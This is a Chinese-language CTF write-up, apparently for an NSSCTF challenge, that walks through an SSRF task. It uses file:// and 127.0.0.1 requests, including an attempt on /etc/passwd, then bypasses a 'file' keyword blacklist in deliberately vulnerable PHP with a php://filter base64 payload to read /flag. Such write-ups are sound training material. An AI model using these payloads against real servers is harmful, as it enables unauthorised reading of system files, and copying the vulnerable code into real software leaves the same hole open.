ssrf 的题目,提示了会使用 curl 连接输入的网站并返回响应包。
直接在输入框中写 www.baidu.com 是无法连接的,需要在前面加入 http 或者 https ,因为 curl 的使用方式就是:
curl http://www.baidu.com
可以看到成功返回了:
直接使用 file:///etc/passwd
似乎没办法访问,返回结果如下:
尝试用 http 协议访问一下本地: http://127.0.0.1
,是可以成功访问的,那么我猜猜看当前目录下有没有 flag 文件:
http://127.0.0.1/flag
返回结果如下:
这里给出了一点提示,去查看根目录下的 fl4g 文件。虽然之前使用 file 文件读取失败了,使我产生了怀疑,但是这个文件是可以通过 file 协议读的:
file:///fl4g
返回结果如下:
提示网站目录下还有个 ha1x1ux1u.php
文件
ha1x1ux1u.php
文件直接访问: http://node5.anna.nssctf.cn:28352/ha1x1ux1u.php
即可。
返回结果是一段代码:
<?php
highlight_file(__FILE__);
error_reporting(0);$file = $_GET["file"];
if (stristr($file, "file")){
die("你败了.");
}
//flag in /flag
echo file_get_contents($file);
stristr(string,search,before_search)
参数 | 描述 |
---|---|
string | 必需。规定被搜索的字符串。 |
search | 必需。规定所搜索的字符串。如果该参数是数字,则搜索匹配该数字对应的 ASCII 值的字符。 |
before_search | 可选。一个默认值为 “false” 的布尔值。如果设置为 “true”,它将返回 search 参数第一次出现之前的字符串部分。 |
返回字符串的剩余部分(从匹配点),不区分大小写。如果未找到所搜索的字符串,则返回 FALSE。
查找 “world” 在 “Hello world!” 中的第一次出现,并返回字符串的剩余部分:
<?php
echo stristr("Hello world!","WORLD");
?>
运行结果:
world!
根据代码,传入的参数值中不能有 “file” 这个字符串,那就没办法用 file 伪协议了。但是用了 file_get_contents
函数读文件,那就可以用 php://filter
伪协议。
php://filter/read=convert.base64-encode/resource=/flag
返回结果:
解码得到 flag 。